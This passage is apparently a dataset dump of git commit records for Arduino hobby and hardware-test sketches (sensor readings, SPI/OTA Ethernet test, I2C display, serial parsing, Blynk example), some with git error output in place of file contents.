+= value;\n sum1 += (value - k);\n sum2 += (value - k)* (value - k);\n delay(delayms); \n }\n float mean = sum \/ samples ;\n float stddev = sqrt((sum2 - (sum1 * sum1) \/ samples) \/ (samples - 1));\n Serial.println(String(\"Statistics for \") + samples + \" samples\");\n Serial.println(String(\"mean =\")+ mean + \" StdDev= \" + stddev + \" 95% interval = \" + (mean - 2 * stddev) + \",\" + (mean+ 2 * stddev));\n if (digitalRead(LOGON) ==1 )\n log_data(String(\"average=\")+mean+\"&stddev=\"+stddev);\n\n}\n\nvoid getSample() {\n float voltage = getVoltage();\n float value =asValue(voltage);\n Serial.println(String(\"voltage = \") + voltage + \" value=\" +value);\n}\n\nfloat getVoltage()\n{\n int sensor_value;\n sensor_value = analogRead(ADC); \n float voltage = (float)sensor_value*ADC_REF\/1024;\n return voltage;\n}\n\nfloat asValue(float voltage) {\n return voltage*270\/ADC_REF; \/\/ 270 degrees full turn\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ESP8266-code\/Test_analogue.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"df8aa21c55f8872fc7697db822c34f46c24e2e14","subject":"Test code for the line follow","message":"Test code for the line follow\n","repos":"Vido\/sumobot,Vido\/sumobot","old_file":"DOCS\/line_follow_head_test\/line_follow_head_test.ino","new_file":"DOCS\/line_follow_head_test\/line_follow_head_test.ino","new_contents":"#define FAR_LEFT A0\n#define LEFT A1\n#define CENTER_LEFT A2\n#define CENTER_RIGHT A3\n#define RIGHT A4\n#define FAR_RIGHT A5\n\n#define WB_THRESHOLD 400\n#define IR_DELAY 140\n\nvoid setup() \n{ \n Serial.begin(9600);\n pinMode(FAR_LEFT, INPUT);\n pinMode(LEFT, INPUT);\n pinMode(CENTER_LEFT, INPUT);\n pinMode(CENTER_RIGHT, INPUT);\n pinMode(RIGHT, INPUT);\n pinMode(FAR_RIGHT, INPUT);\n pinMode(LED_BUILTIN, OUTPUT); \n}\n\nboolean toDigital(uint8_t pin){\n int reading = analogRead(pin);\n delayMicroseconds(IR_DELAY);\n \/\/ Serial.println(reading);\n return reading > WB_THRESHOLD;\n}\n\nvoid print_digital_readings(){\n \n boolean far_left = toDigital(FAR_LEFT);\n boolean left = toDigital(LEFT);\n boolean center_left = toDigital(CENTER_LEFT);\n boolean center_right = toDigital(CENTER_RIGHT);\n boolean right = toDigital(RIGHT);\n boolean far_right = toDigital(FAR_RIGHT);\n\n\n Serial.print(far_left);\n Serial.print(\"\\t\");\n Serial.print(left);\n Serial.print(\"\\t\");\n Serial.print(center_left);\n Serial.print(\"\\t\");\n Serial.print(center_right);\n Serial.print(\"\\t\");\n Serial.print(right);\n Serial.print(\"\\t\");\n Serial.println(far_right);\n\n}\n\nvoid print_analog_readings(){\n \n int far_left = analogRead(FAR_LEFT);\n int left = analogRead(LEFT);\n int center_left = analogRead(CENTER_LEFT);\n int center_right = analogRead(CENTER_RIGHT);\n int right = analogRead(RIGHT);\n int far_right = analogRead(FAR_RIGHT);\n\n Serial.print(far_left);\n Serial.print(\"\\t\");\n Serial.print(left);\n Serial.print(\"\\t\");\n Serial.print(center_left);\n Serial.print(\"\\t\");\n Serial.print(center_right);\n Serial.print(\"\\t\");\n Serial.print(right);\n Serial.print(\"\\t\");\n Serial.println(far_right);\n\n}\n\nvoid loop(){\n print_analog_readings();\n \/\/print_digital_readings();\n delay(20);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'DOCS\/line_follow_head_test\/line_follow_head_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"491ae6ba808cb173e8f02adf376b5150da7762c5","subject":"Working version of SPI - requires updated libraries (to be documented).","message":"Working version of SPI - requires updated libraries (to be documented).\n","repos":"dirkx\/AccesSystem,dirkx\/AccesSystem,dirkx\/AccesSystem,dirkx\/AccesSystem","old_file":"test\/PoE-test\/ETH-LAN8720-OTA-SPI\/ETH-LAN8720-OTA-SPI.ino","new_file":"test\/PoE-test\/ETH-LAN8720-OTA-SPI\/ETH-LAN8720-OTA-SPI.ino","new_contents":"\/* SPI - sends an ever increasing count from MO->SI.\n * \n *\/\n\n#define ETH_PHY_ADDR 1\n#define ETH_PHY_MDC 23\n#define ETH_PHY_MDIO 18\n#define ETH_PHY_POWER 17\n#define ETH_PHY_TYPE ETH_PHY_LAN8720\n\n#define SPI__SCK (14)\n#define SPI__MISO (12)\n#define SPI__MOSI (13)\n#define SPI__SS (15)\n\n#include <ETH.h>\n#include <ArduinoOTA.h>\n#include <SPI.h>\n\nSPIClass spirfid = SPIClass(VSPI);\n\nstatic bool eth_connected = false;\n\nstatic bool ota = false;\nvoid enableOTA() {\n if (ota)\n return;\n\n \/\/ Port defaults to 3232\n \/\/ ArduinoOTA.setPort(3232);\n\n \/\/ Hostname defaults to esp3232-[MAC]\n \/\/ ArduinoOTA.setHostname(\"myesp32\");\n\n \/\/ No authentication by default\n \/\/ ArduinoOTA.setPassword(\"admin\");\n\n \/\/ Password can be set with it's md5 value as well\n \/\/ MD5(admin) = 21232f297a57a5a743894a0e4a801fc3\n \/\/ ArduinoOTA.setPasswordHash(\"21232f297a57a5a743894a0e4a801fc3\");\n\n\n ArduinoOTA.onStart([]() {\n String type;\n if (ArduinoOTA.getCommand() == U_FLASH)\n type = \"sketch\";\n else \/\/ U_SPIFFS\n type = \"filesystem\";\n\n \/\/ NOTE: if updating SPIFFS this would be the place to unmount SPIFFS using SPIFFS.end()\n Serial.println(\"Start updating \" + type);\n });\n\n ArduinoOTA.onEnd([]() {\n Serial.println(\"\\nEnd\");\n });\n\n ArduinoOTA.onProgress([](unsigned int progress, unsigned int total) {\n Serial.printf(\"Progress: %u%%\\r\", (progress \/ (total \/ 100)));\n });\n\n ArduinoOTA.onError([](ota_error_t error) {\n Serial.printf(\"Error[%u]: \", error);\n if (error == OTA_AUTH_ERROR) Serial.println(\"Auth Failed\");\n else if (error == OTA_BEGIN_ERROR) Serial.println(\"Begin Failed\");\n else if (error == OTA_CONNECT_ERROR) Serial.println(\"Connect Failed\");\n else if (error == OTA_RECEIVE_ERROR) Serial.println(\"Receive Failed\");\n else if (error == OTA_END_ERROR) Serial.println(\"End Failed\");\n });\n\n \/\/ Unfortunately - deep in OTA it auto defaults to Wifi. So we\n \/\/ force it to ETH -- requires pull RQ https:\/\/github.com\/espressif\/arduino-esp32\/issues\/944\n \/\/ and https:\/\/github.com\/espressif\/esp-idf\/issues\/1431.\n \/\/\n ArduinoOTA.begin(TCPIP_ADAPTER_IF_ETH);\n ota = true;\n\n Serial.println(\"\\nOTA enabled too\\n\");\n}\n\nvoid WiFiEvent(WiFiEvent_t event)\n{\n switch (event) {\n case SYSTEM_EVENT_ETH_START:\n Serial.println(\"ETH Started\");\n \/\/set eth hostname here\n ETH.setHostname(\"esp32-ethernet\");\n break;\n case SYSTEM_EVENT_ETH_CONNECTED:\n Serial.println(\"ETH Connected\");\n break;\n case SYSTEM_EVENT_ETH_GOT_IP:\n case SYSTEM_EVENT_STA_GOT_IP:\n Serial.print(\"ETH MAC: \");\n Serial.print(ETH.macAddress());\n Serial.print(\", IPv4: \");\n Serial.print(ETH.localIP());\n if (ETH.fullDuplex()) {\n Serial.print(\", FULL_DUPLEX\");\n }\n Serial.print(\", \");\n Serial.print(ETH.linkSpeed());\n Serial.printf(\"Mbps (event %d)\\n\", event);\n eth_connected = true;\n break;\n case SYSTEM_EVENT_ETH_DISCONNECTED:\n Serial.printf(\"ETH Disconnected (event %d)\\n\", event);\n eth_connected = false;\n break;\n case SYSTEM_EVENT_ETH_STOP:\n Serial.println(\"ETH Stopped\");\n eth_connected = false;\n break;\n default:\n Serial.printf(\"Unknown event %d\\n\", event);\n break;\n }\n}\n\nvoid testClient(const char * host, uint16_t port)\n{\n Serial.print(\"\\nconnecting to \");\n Serial.println(host);\n\n WiFiClient client;\n if (!client.connect(host, port)) {\n Serial.println(\"connection failed\");\n return;\n }\n client.printf(\"GET \/ HTTP\/1.1\\r\\nHost: %s\\r\\n\\r\\n\", host);\n while (client.connected() && !client.available());\n while (client.available()) {\n Serial.write(client.read());\n }\n\n Serial.println(\"closing connection\\n\");\n client.stop();\n}\n\nvoid setup()\n{\n const char * pname = rindex(__FILE__, '\/');\n\n Serial.begin(115200);\n Serial.print(\"\\n\\n\\nStart \");\n Serial.print(pname);\n Serial.println(\" \" __DATE__ \" \" __TIME__);\n\n WiFi.onEvent(WiFiEvent);\n\n ETH.begin();\n\n Serial.println(\"SPI init\");\n pinMode(SPI__SS, OUTPUT);\n digitalWrite(SPI__SS,HIGH);\n\n spirfid.begin(SPI__SCK, SPI__MISO, SPI__MOSI, SPI__SS);\n\n Serial.println(\"setup() done\");\n}\n\n\nvoid loop()\n{\n if (eth_connected) {\n if (!ota)\n enableOTA();\n ArduinoOTA.handle();\n }\n\n \/\/ The crux of this test -- send an every increasing count to the Slave In.\n \/\/\n static byte i;\n pinMode(SPI__SS, OUTPUT);\n digitalWrite(SPI__SS,LOW);\n spirfid.transfer(i++); \n digitalWrite(SPI__SS,HIGH);\n\n#if 0\nfor(int i=0; i < 20;i++){\n {\n const int pin = SPI__MOSI;\n pinMode(pin, OUTPUT);\n static byte i;\n digitalWrite(pin, i % 2); i++;\n }\n {\n const int pin = SPI__MISO;\n pinMode(pin, OUTPUT);\n static byte i;\n digitalWrite(pin, i % 4); i++;\n }\n {\n const int pin = SPI__SS;\n pinMode(pin, OUTPUT);\n static byte i;\n digitalWrite(pin, i % 8); i++;\n }\n {\n const int pin = SPI__SCK;\n pinMode(pin, OUTPUT);\n static byte i;\n digitalWrite(pin, i % 16); i++;\n }\n}\n#endif\n\n static unsigned long tock = 0;\n if (millis() - tock > 30 * 1000) {\n Serial.println(\"Tock - 30 seconds\");\n tock = millis();\n }\n\n#if 0\n static unsigned long google = 0;\n if (eth_connected && millis() - google > 60 * 1000) {\n testClient(\"google.com\", 80);\n google = millis();\n }\n#endif\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'test\/PoE-test\/ETH-LAN8720-OTA-SPI\/ETH-LAN8720-OTA-SPI.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"1db47a52cf2479750452ddb92f46a1a5eaa7f19b","subject":"K\u00f3d z lekce","message":"K\u00f3d z lekce\n","repos":"bastlirna\/arduino-akademie","old_file":"lekce\/lekce05\/work\/disp\/disp.ino","new_file":"lekce\/lekce05\/work\/disp\/disp.ino","new_contents":"#include <Wire.h>\n#define ADDR 0x27\n\nvoid setup() {\n Wire.begin();\n}\n\nvoid loop() {\n digit(0, 0b00101101);\n digit(1, 0b00101101);\n digit(2, 0b00101101);\n digit(3, 0b00101101);\n delay(1000);\n}\n\nvoid digit(byte n, byte s) {\n Wire.beginTransmission(ADDR);\n Wire.write(n); \/\/ <- pozice\n Wire.write(s); \/\/ <- segmenty\n Wire.endTransmission();\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'lekce\/lekce05\/work\/disp\/disp.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2f73ef8dec3dfe15e236abefbf91a17b52975476","subject":"parsing serial data","message":"parsing serial data\n","repos":"cbries\/utilities,cbries\/utilities,cbries\/utilities,cbries\/utilities,cbries\/utilities,cbries\/utilities,cbries\/utilities","old_file":"Playground\/SerialPingPong2\/SerialPingPong2.ino","new_file":"Playground\/SerialPingPong2\/SerialPingPong2.ino","new_contents":"void setup() \n{\n Serial.begin(115200);\n}\n\nvoid loop() \n{\n checkSerial();\n}\n\n#define MAX 32\nchar buf[MAX] = { '\\0' };\nbyte index = 0;\n\nvoid checkSerial()\n{\n while (Serial.available() > 0)\n {\n char received = Serial.read();\n buf[index] = received;\n buf[index+1] = '\\0';\n ++index; \n if(index == MAX) { index = 0; } \n }\n\n if(index != 0 && buf[index-1] == '\\n')\n {\n Serial.print(\"1: \"); Serial.print(buf);\n String sbuf(buf);\n Serial.print(\"2: \"); Serial.print(sbuf);\n \n if(index == 14)\n {\n String s(\"\");\n s = sbuf.substring(0, 2); int x = s.toInt();\n s = sbuf.substring(2, 4); int y = s.toInt();\n s = sbuf.substring(4, 7); int RED = s.toInt();\n s = sbuf.substring(7, 10); int GREEN = s.toInt();\n s = sbuf.substring(10, 13); int BLUE = s.toInt();\n \n Serial.print(\"x: \"); Serial.println(x);\n Serial.print(\"y: \"); Serial.println(y);\n Serial.print(\"R: \"); Serial.println(RED);\n Serial.print(\"G: \"); Serial.println(GREEN);\n Serial.print(\"B: \"); Serial.println(BLUE);\n Serial.println(\"----------\");\n }\n \n index = 0;\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Playground\/SerialPingPong2\/SerialPingPong2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6336f538d418d5d50208ae0489da19f12c03170e","subject":"Added correct file","message":"Added correct file","repos":"opentrv\/OpenTRV-Arduino-V0p2,opentrv\/OpenTRV-Arduino-V0p2,opentrv\/OpenTRV-Arduino-V0p2","old_file":"hardware\/REV14\/REV14test\/REV14test.ino","new_file":"hardware\/REV14\/REV14test\/REV14test.ino","new_contents":"\/*\nThe OpenTRV project licenses this file to you\nunder the Apache Licence, Version 2.0 (the \"Licence\");\nyou may not use this file except in compliance\nwith the Licence. You may obtain a copy of the Licence at\n\nhttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the Licence is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied. See the Licence for the\nspecific language governing permissions and limitations\nunder the Licence.\n\nAuthor(s) \/ Copyright (s): Deniz Erbilgin 2016\n*\/\n\n\/**\n * Set of tests for REV14 hardware.\n * Tests:\n * - Supply voltage : Print measured voltage to serial\n * - Xtal : Check resonator frequency against internal RC\n * - Phototransistor: Perform a reading\n * - TMP112 : Test for ACK\n * - SHT21 : Test for ACK\n * - QM-1 module : Test for ACK\n * - RN2483 : Test for ACK\n * - Mobdet : TBD\n * - DS18B20 : TBD\n * \n * @todo Work out how to setup serial connection to RN2483\n * Move stuff out into libraries\n *\/\n\n#include <Wire.h>\n#include <OTV0p2Base.h>\n\n\/************************* Pin Defs **********************************\/\n\/\/ Power control pins\nstatic const uint8_t IO_Powerup_pin = 7; \/\/ IO power up pin.\nstatic const uint8_t BoostRegEn_pin = A3; \/\/ Boost regulator enable pin.\n\/\/ Peripheral connect pins\nstatic const uint8_t lightSensor_pin = A0; \/\/ analogue pin phototransistor is connected to.\nstatic const uint8_t QM1_IRQ_pin = 6; \/\/ interrupt pin connected to QM-1 module.\nstatic const uint8_t RN2483_Rx_pin = 8; \/\/ Software serial Rx pin connected to RN2483.\nstatic const uint8_t RN2483_Tx_pin = 5; \/\/ Software serial Tx pin connected to RN2483.\nstatic const uint8_t RN2483_Rst_pin = A2; \/\/ Pin connected to RN2483 reset line.\n\n\/************************ Other Constants ****************************\/\n\/\/ Xtal\nstatic const uint8_t xtalExpectedValue = 122; \/\/ Expected value from xtal\nstatic const uint8_t xtalMaxDeviation = 2; \/\/ Max acceptable deviation from xtal\n\/\/ TMP112\nstatic const uint8_t tmp112_i2cAddr = 0x48; \/\/ TMP112 I2C bus address\n\/\/ SHT21\nstatic const uint8_t sht21_i2cAddr = 0x40; \/\/ SHT21 I2C bus address\n\/\/ QM-1\nstatic const uint8_t qm1_i2cAddr = 0x09; \/\/ QM1 I2C bus address\n\/\/ RN2483\nstatic const uint16_t RN2483_baud = 23040; \/\/ Baud rate to talk to RN2483 at. Need to autobaud with break+'U' after reset.\n\/\/static const char RN2483_END[3] = \"\\r\\n\"; \/\/ RN2483 message end\n\n\/************************ Objects and variables **********************\/\nOTV0P2BASE::SupplyVoltageCentiVolts Supply_cV;\nOTV0P2BASE::OTSoftSerial rn2483(RN2483_Rx_pin, RN2483_Tx_pin);\n\nvoid setup() {\n \/**\n * 1) Put all pins in safe state (low power not as important) - AVR should automatically init correctly\n * 2) Setup Xtal first to give time to settle\n * 3) Setup ADC0\n * 4) Setup software serial\n * 5) Setup I2C\n * 6) Wait a couple of secs\n *\/\n Serial.begin(4800); \/\/ start serial connection for debug output\n Serial.println(F(\"REV14 Hardware Tests\"));\n \n Serial.print(F(\"Setting up Xtal...\"));\n delay(500);\n setupXtal();\n Serial.println(F(\"done\"));\n Serial.print(F(\"Setting up SoftSerial...\"));\n setupSoftSerial();\n Serial.println(F(\"done\"));\n Serial.print(F(\"Setting up I2C...\"));\n setupI2C();\n Serial.println(F(\"done\"));\n Serial.print(F(\"Setup pins...\"));\n\/\/ setupPins();\n Serial.println(F(\"done\"));\n Serial.println(F(\"Waiting for Xtal to settle\"));\n delay(2000);\n}\n\nvoid loop() {\n \/**\n * 1) Test Vcc\n * 2) Test Xtal\n * 3) Test light sensor\n * 4) Test RN2483\n * 5) Scan I2C bus\n * 6) Test available I2C devices sequentially\n *\/\n Serial.println(F(\"\\n\\nStarting Tests...\"));\n\n testVcc();\n testXtal();\n delay(500);\n testLightSensor();\n testRN2483();\n scanI2C();\n delay(5000);\n}\n\n\/**\n * @brief Sets up TOSC registers for asyncronous capture to Timer X\n * @note powerSetup() disables everything and then enables@\n * - Timer 0 (arduino functions)\n * - Timer 2 (xtal capture timer)\n *\/\nvoid setupXtal()\n{\n OTV0P2BASE::powerSetup(); \/\/ Standard V0p2 startup method.\n OTV0P2BASE::powerUpSerialIfDisabled<4800>();\n OTV0P2BASE::powerUpADCIfDisabled();\n}\n\n\/**\n * @brief Sets up ADC0 for one shot capture\n *\/\n\/\/ void setupADC0()\n\/\/ {\n\/\/ \n\/\/ }\n\n\/**\n * @brief Sets up software serial on relevant pins\n *\/\n void setupSoftSerial()\n {\n rn2483.begin(RN2483_baud);\n }\n\n\/**\n * @brief Sets up I2C bus\n *\/\n void setupI2C()\n {\n OTV0P2BASE::powerUpTWIIfDisabled();\n }\n\n\/**\n * @brief Sets up pins that are not defined by other peripheral setup\n * - Set RN2483 ~reset to high (non reset state)\n * - Power up photodiode\/any \"intermittent peripherals\"\n * - Enable boost reg to power up QM-1\n *\/\nvoid setupPins()\n{\n pinMode(RN2483_Rst_pin, OUTPUT);\n pinMode(IO_Powerup_pin, OUTPUT);\n pinMode(BoostRegEn_pin, OUTPUT);\n digitalWrite(RN2483_Rst_pin, HIGH);\n digitalWrite(IO_Powerup_pin, HIGH);\n digitalWrite(BoostRegEn_pin, HIGH);\n}\n\n\/**\n * @brief Tests supply voltage against internal reference\n * @todo Implement test\n *\/\n void testVcc()\n {\n uint16_t value = 0;\n Serial.print(F(\"Testing Supply...\"));\n value = Supply_cV.read();\n Serial.print(value); \/\/ print supply voltage\n Serial.println(F(\"V\"));\n }\n\n\/**\n * @brief Tests xtal against internal high speed RC oscillator\n *\/\n void testXtal()\n {\n Serial.print(F(\"Testing Xtal...\"));\n delay(500);\n if(::OTV0P2BASE::HWTEST::check32768HzOscExtended()) Serial.println(F(\"passed\"));\n else Serial.println(F(\"failed\"));\n }\n\n\/**\n * @brief Tests light sensor. Prints failed if value is 0 or 255, else prints value.\n *\/\nvoid testLightSensor()\n{\n uint8_t value = 0;\n Serial.print(F(\"Testing Light Sensor...\"));\n\/\/ OTV0P2BASE::power_intermittent_peripherals_enable();\n\/\/ delay(100);\n value = analogRead(lightSensor_pin);\n if( (value == 0) || (value == 255) ) Serial.println(F(\"failed\"));\n else Serial.println(value); \/\/ print light value;\n}\n\/**\n * @brief Tests RN2483 is present\n * @todo get this working\n *\/\nvoid testRN2483()\n{\n char buf[9];\n memset(buf, 0, sizeof(buf));\n buf[8] = ' ';\n Serial.println(F(\"Testing RN2483...\"));\n \/\/ reset RN2483\n digitalWrite(RN2483_Rst_pin, LOW);\n delay(100);\n digitalWrite(RN2483_Rst_pin, HIGH);\n delay(1000);\n \/\/ autobaud (break+'U')\n digitalWrite(RN2483_Tx_pin, LOW);\n delay(10);\n digitalWrite(RN2483_Tx_pin, HIGH);\n rn2483.print('U');\n delay(100);\n \/\/ send test message and check reply\n rn2483.print(\"sys get ver\\r\\n\");\n rn2483.read( (uint8_t *)buf, (sizeof(buf)-1) );\n Serial.println(buf);\n}\n\/**\n * @brief Scans I2C bus for possible devices on the REV10 and prints to serial.\n *\/\nvoid scanI2C()\n{\n uint8_t value = 0;\n Serial.println(F(\"Scanning I2C bus:\"));\n testTMP112();\n testSHT21();\n testQM1();\n \n\/\/ Serial.println(value); \/\/ print supply voltage;\n}\n\/**\n * @brief Tests TMP112\n *\/\nvoid testTMP112()\n{\n Serial.print(F(\"Checking for TMP112...\"));\n if(!testI2CDev(tmp112_i2cAddr)) Serial.println(F(\"present.\"));\n else Serial.println(F(\"not present.\"));\n}\n\/**\n * @brief Tests SHT21\n *\/\nvoid testSHT21()\n{\n Serial.print(F(\"Checking for SHT21...\"));\n if(!testI2CDev(sht21_i2cAddr)) Serial.println(F(\"present.\"));\n else Serial.println(F(\"not present.\"));\n}\n\/**\n * @brief Tests QM-1\n * @note This requires boostRegEn_pin to be set high (+delay for QM-1 to start properly?)\n *\/\nvoid testQM1()\n{\n Serial.print(F(\"Checking for QM-1...\"));\n if(!testI2CDev(qm1_i2cAddr)) Serial.println(F(\"present.\"));\n else Serial.println(F(\"not present.\"));\n}\n\n\/**\n * @brief Tests I2C device at address for ACK\n * @retval 0 success\n * 1 buffer error (should never happen)\n * 2 NACK received\n * 3 NACK received\n * 4 other error\n *\/\nuint8_t testI2CDev(uint8_t addr)\n{\n Wire.beginTransmission(addr);\n return Wire.endTransmission();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hardware\/REV14\/REV14test\/REV14test.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"c93ea239d9b8b126dfb2b12f65160a953ef75125","subject":"added asteriods game","message":"added asteriods game\n","repos":"wyolum\/VeloKey,wyolum\/VeloKey,wyolum\/VeloKey,wyolum\/VeloKey,wyolum\/VeloKey","old_file":"arduino\/libraries\/VeloKey\/examples\/Asteroids\/Asteroids.ino","new_file":"arduino\/libraries\/VeloKey\/examples\/Asteroids\/Asteroids.ino","new_contents":"#include \"events.h\"\n#include \"VeloKey.h\"\n\nclass MyListener : public VeloKeyListener{\n void onScrollLeftCW(){\n }\n void onScrollLeftCCW(){\n }\n void onScrollRightCW(){\n }\n void onScrollRightCCW(){\n }\n void onScrollLeftPress(){\n }\n void onScrollRightPress(){\n } \n};\n\nMyListener my_listener = MyListener();\n\nint16_t ship_xs[3] = {80 + 0, 80 + 5, 80 - 5};\nint16_t ship_ys[3] = {64 - 5, 64 + 5, 64 + 5};\nConvexPolygonSprite ship = ConvexPolygonSprite();\n\nvoid setup(){\n Serial.begin(115200);\n velokey.begin();\n ship.setup(3, ship_xs, ship_ys, VELOKEY_WHITE);\n \/\/ velokey.splash(2000);\n velokey.backlightOn();\n velokey.subscribe(&my_listener);\n for(int ii=0; ii=90; ii++){\n ship.rotate(1);\n ship.draw();\n delay(100);\n }\n}\n\nvoid loop(){\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/libraries\/VeloKey\/examples\/Asteroids\/Asteroids.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8670a9d39e681c763891b2e7437c7b3bd933d1d6","subject":"playing with Uno timing","message":"playing with Uno timing\n","repos":"wsnook\/sandbox,wsnook\/sandbox,wsnook\/sandbox,wsnook\/sandbox,wsnook\/sandbox","old_file":"arduino_uno\/builtin_led_pwm_fade\/builtin_led_pwm_fade.ino","new_file":"arduino_uno\/builtin_led_pwm_fade\/builtin_led_pwm_fade.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/wsnook\/sandbox.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"4a63988862d2298247183f7ca6cf7aec08cf1f4c","subject":"#159 one more example","message":"#159 one more example\n","repos":"ivankravets\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library","old_file":"examples\/More\/ServerAsDataStorage\/ServerAsDataStorage.ino","new_file":"examples\/More\/ServerAsDataStorage\/ServerAsDataStorage.ino","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * This example shows you how you can use server as storage for \n * your data like EEPROM\n *\n * Project setup in the Blynk app (not necessary):\n * Value display on V0 in PUSH mode.\n *\n **************************************************************\/\n\n#define BLYNK_PRINT Serial\n#include <SPI.h>\n#include <Ethernet.h>\n#include <BlynkSimpleEthernet.h>\n#include <SimpleTimer.h>\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\nSimpleTimer timer;\nint uptimeCounter;\n\nvoid increment() {\n uptimeCounter++;\n Blynk.virtualWrite(V0, uptimeCounter); \n}\n\nvoid setup()\n{\n Serial.begin(9600); \/\/ See the connection status in Serial Monitor\n Blynk.begin(auth);\n \n while (Blynk.connect() == false) {\n \/\/ Wait until connected\n }\n \n timer.setInterval(1000L, increment);\n}\n\nvoid loop()\n{\n Blynk.run();\n timer.run();\n}\n\n\/\/ This function will run every time Blynk connection is established\nBLYNK_CONNECTED() {\n \/\/get data stored in virtual pin V0 from server\n Blynk.syncVirtual(V0);\n}\n\n\/\/ restoring counter from server\nBLYNK_WRITE(V0)\n{\n uptimeCounter = param.asInt();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/More\/ServerAsDataStorage\/ServerAsDataStorage.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c15ed130310a33f16ce23bc6c8c5d78b34d6c669","subject":"Initial upload of test test code for MS5803-14BA","message":"Initial upload of test test code for MS5803-14BA\n\nThis code displays pressure and temperature values from the MS5803-14BA\ndetected through its I2C bus on the \"serial monitor\" screen in the\nArduino IDE. Because the MS5803-14BA uses a 3v3 logic, the user should\ntake care to only power the devise with 3v3 (not 5v). CLK and SDA seem\nto work when attached directly to the Arduino, however.\n","repos":"OpenROV\/openrov-software-arduino,binary42\/openrov-software-arduino,dieface\/openrov-software-arduino,dieface\/openrov-software-arduino,BrianAdams\/openrov-software-arduino,OpenROV\/openrov-software-arduino,johan--\/openrov-software-arduino,LeeCheongAh\/openrov-software-arduino,binary42\/openrov-software-arduino,spiderkeys\/openrov-software-arduino,johan--\/openrov-software-arduino,BrianAdams\/openrov-software-arduino,spiderkeys\/openrov-software-arduino,OpenROV\/openrov-software-arduino,LeeCheongAh\/openrov-software-arduino","old_file":"Test Code\/Walts_Depth_Sensor_Rev1.ino","new_file":"Test Code\/Walts_Depth_Sensor_Rev1.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Test' did not match any file(s) known to git\nerror: pathspec 'Code\/Walts_Depth_Sensor_Rev1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7552f7aea20ecc4e3290aea0f0c3eeb9a01d566b","subject":"Update MC3672_demo.ino","message":"Update MC3672_demo.ino","repos":"mcubemems\/Accelerometer_MC3672","old_file":"examples\/MC3672_demo\/MC3672_demo.ino","new_file":"examples\/MC3672_demo\/MC3672_demo.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mcubemems\/Accelerometer_MC3672.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"6f5ae8a32c1646fa23140366331fc8f01268f791","subject":"First implementation for RFduino. Reading and sending sensor values work.","message":"First implementation for RFduino. Reading and sending sensor values work.\n","repos":"Ossit\/SenseBack","old_file":"RFduino\/SenseBack_RFduino\/SenseBack_RFduino.ino","new_file":"RFduino\/SenseBack_RFduino\/SenseBack_RFduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Ossit\/SenseBack.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"fa5639a85d545790e50dc25debedeefe072d43cf","subject":"Arduino\uff1a\u6587\u8a00\u4fee\u6b63","message":"Arduino\uff1a\u6587\u8a00\u4fee\u6b63\n","repos":"ics-creative\/160125_arduino_ESP-WROOM-02_v2,ics-creative\/160125_arduino_ESP-WROOM-02_v2","old_file":"arduino\/light-sencor\/light-sencor.ino","new_file":"arduino\/light-sencor\/light-sencor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of 